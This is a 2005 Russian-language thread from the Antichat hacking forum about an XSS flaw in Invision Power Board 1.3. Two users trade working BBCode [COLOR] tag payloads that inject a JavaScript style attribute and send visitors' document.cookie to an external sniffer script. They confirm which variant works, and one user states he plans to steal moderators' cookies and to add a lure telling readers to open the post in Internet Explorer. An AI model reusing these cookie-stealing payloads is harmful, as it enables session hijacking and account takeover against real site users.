ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Уязвимости CMS / форумов (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   Вопросы по форуму Invision Power Board(U) v1.3 Final © 2003(р) (https://forum.antichat.xyz/showthread.php?t=5233)

FRTD 17.02.2005 02:53

что то не выходит=(
а если для маскировочки я напишу так:
1)круто[COLOR=]` style=background:url(javascript:document.images[12].src="http://antichat.ru/cgi-bin/s.jpg?K:"+document.cookie) [/color]
2)круто` style=background:url(javascript:document.images[12].src="http://antichat.ru/cgi-bin/s.jpg?K:"+document.cookie)
это будет работать?Или (1) или (2)?

З.Ы.мне зайти на...?

ExpertLamer 17.02.2005 03:06

нет не тебе. Util.

1-й работает.
Ты что то не правильно делаешь.

На снифер
Код HTML:

[COLOR=[IMG]http://aaa.aa/=`aaa.jpg[/IMG]]` style=background:url(javascript:document.images[12].src="http://antichat.ru/cgi-bin/s.jpg?K:"+document.cookie) [/COLOR]
На алёрт.

Код HTML:

[COLOR=[IMG]http://aaa.aa/=`aaa.jpg[/IMG]]` style=background:url(javascript:alert()) [/COLOR]
Фонт менять у меня не получается как вот тут и не кто помогать кроме UTIL не хочит. Все здохли чтоли?

http://antichat.ru/txt/IPB/index1.php

FRTD 17.02.2005 03:10

а как понять на алерт?Что это даёт?

ExpertLamer 17.02.2005 03:21

Это ты сам должен посмотреть. Трудно тебе объяснить.

Вот иди ко мне там пробуй и тесты проводи.

http://www.whitejordan.ipbfree.com/

Я White Jordan.

Мне тут просто баннули ник.

FRTD 17.02.2005 03:22

похоже заработало частично,по крайней мере мой ИП и куки отображаются на сниффере, но нету реферера.Придётся завтра с утра пораньше отлавливать модеров=).Или что то опять неправильно?
А что попробовать?Алерт тебе запостить?

ExpertLamer 17.02.2005 03:26

да нет вродебы правельно.

А вдруг у них не Интернет Эксплорер?

FRTD 17.02.2005 03:29

а чё если у них не Эксплорер то сё накрылось?=(

ExpertLamer 17.02.2005 03:33

Не, если у них ИЭ то БУДИТ работать, а если нет, то код будит видным и тебя поймают и 3 кода лишенния свободы.....................

FRTD 17.02.2005 03:38

да то что код виден хер с ним.Главное чтобы куки отправились на снифф.Куки придут?

FRTD 17.02.2005 03:44

А если я после кода пропишу что нить то он будет работать?

Становиться ещё интереснее!!!:)Хотел щас дописать приписку" [color=http://aaaaa/=`aaajpg]` style=background:url(javascript:document.images[12].src="http://antichat.ru/cgi-bin/s.jpg?K:"+document.cookie) [/color] если у вас не отображается картинка,зайдите через Internet Explorer"(для очень доверчивых),а мне выдают:"незя использовать такой тег".Это по идее заплатка.Но почему она меня пропустила первый раз?


Время: 18:58